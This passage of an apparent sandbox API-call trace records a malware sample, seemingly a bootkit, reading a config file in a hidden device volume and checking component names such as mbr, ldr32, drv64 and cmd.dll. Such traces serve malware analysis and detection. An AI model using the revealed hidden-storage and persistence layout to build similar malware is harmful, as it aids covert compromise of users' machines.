Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.502] KeLeaveCriticalRegion () [0118.502] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.502] KeEnterCriticalRegion () [0118.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.502] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.502] IdePortDispatch () returned 0x103 [0118.503] KeWaitForMutexObject () returned 0x0 [0118.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.503] KeLeaveCriticalRegion () [0118.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.503] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.503] KeEnterCriticalRegion () [0118.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ceb000 [0118.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.503] IdePortDispatch () returned 0x103 [0118.503] KeWaitForMutexObject () returned 0x0 [0118.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.503] IdePortDispatch () returned 0x103 [0118.503] KeWaitForMutexObject () returned 0x0 [0118.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.503] KeLeaveCriticalRegion () [0118.503] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.504] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.504] KeEnterCriticalRegion () [0118.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] KeLeaveCriticalRegion () [0118.504] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.504] KeEnterCriticalRegion () [0118.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] KeLeaveCriticalRegion () [0118.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.504] KeEnterCriticalRegion () [0118.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] KeLeaveCriticalRegion () [0118.504] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.504] ReleaseMutex (hMutex=0xf0) returned 1 [0118.504] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.504] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.504] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.504] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.504] KeEnterCriticalRegion () [0118.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.504] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.504] IdePortDispatch () returned 0x103 [0118.505] KeWaitForMutexObject () returned 0x0 [0118.505] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.505] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.505] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.505] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.505] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.505] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.505] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.505] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.505] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.505] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.505] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.505] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.505] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.505] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.505] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.505] KeLeaveCriticalRegion () [0118.505] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.505] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.505] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.505] KeEnterCriticalRegion () [0118.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.505] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.505] IdePortDispatch () returned 0x103 [0118.506] KeWaitForMutexObject () returned 0x0 [0118.506] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.506] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.506] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.506] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.506] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.506] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.506] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.506] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.506] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.506] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.506] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.506] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.506] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.506] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.506] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.506] KeLeaveCriticalRegion () [0118.506] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.506] ReleaseMutex (hMutex=0x100) returned 1 [0118.506] Sleep (dwMilliseconds=0x2bf20) [0118.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69d5c5b0, dwHighDateTime=0x1d24fa4)) [0118.512] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.512] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.512] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.512] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.512] KeEnterCriticalRegion () [0118.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.513] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.513] IdePortDispatch () returned 0x103 [0118.513] KeWaitForMutexObject () returned 0x0 [0118.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.513] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.513] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.513] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.513] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.513] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cd4f0 [0118.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.513] KeLeaveCriticalRegion () [0118.513] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.513] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.513] KeEnterCriticalRegion () [0118.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.513] KeLeaveCriticalRegion () [0118.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.513] KeEnterCriticalRegion () [0118.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.513] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.513] IdePortDispatch () returned 0x103 [0118.513] KeWaitForMutexObject () returned 0x0 [0118.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.514] KeLeaveCriticalRegion () [0118.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.514] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.514] KeEnterCriticalRegion () [0118.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.514] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cee000 [0118.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.514] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.514] IdePortDispatch () returned 0x103 [0118.514] KeWaitForMutexObject () returned 0x0 [0118.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.514] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.514] IdePortDispatch () returned 0x103 [0118.514] KeWaitForMutexObject () returned 0x0 [0118.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.514] KeLeaveCriticalRegion () [0118.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.515] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.515] KeEnterCriticalRegion () [0118.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] KeLeaveCriticalRegion () [0118.515] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.515] KeEnterCriticalRegion () [0118.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.515] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cd5b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] KeLeaveCriticalRegion () [0118.515] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.515] KeEnterCriticalRegion () [0118.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] ExFreePoolWithTag (P=0xfffffa80039cd4f0, Tag=0x0) [0118.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] KeLeaveCriticalRegion () [0118.515] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.515] ReleaseMutex (hMutex=0xf0) returned 1 [0118.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.515] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.515] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.515] KeEnterCriticalRegion () [0118.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.515] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.515] IdePortDispatch () returned 0x103 [0118.516] KeWaitForMutexObject () returned 0x0 [0118.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.516] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.516] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.516] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.516] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.516] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caf00 [0118.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.516] KeLeaveCriticalRegion () [0118.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.516] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.516] KeEnterCriticalRegion () [0118.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.516] KeLeaveCriticalRegion () [0118.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.516] KeEnterCriticalRegion () [0118.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.516] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.516] IdePortDispatch () returned 0x103 [0118.516] KeWaitForMutexObject () returned 0x0 [0118.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.516] KeLeaveCriticalRegion () [0118.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.517] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.517] KeEnterCriticalRegion () [0118.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.517] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cef000 [0118.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.517] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.517] IdePortDispatch () returned 0x103 [0118.517] KeWaitForMutexObject () returned 0x0 [0118.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.517] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.517] IdePortDispatch () returned 0x103 [0118.517] KeWaitForMutexObject () returned 0x0 [0118.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.517] KeLeaveCriticalRegion () [0118.517] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.518] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.518] KeEnterCriticalRegion () [0118.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.518] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.518] KeLeaveCriticalRegion () [0118.518] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.518] KeEnterCriticalRegion () [0118.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.518] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.518] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385b6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 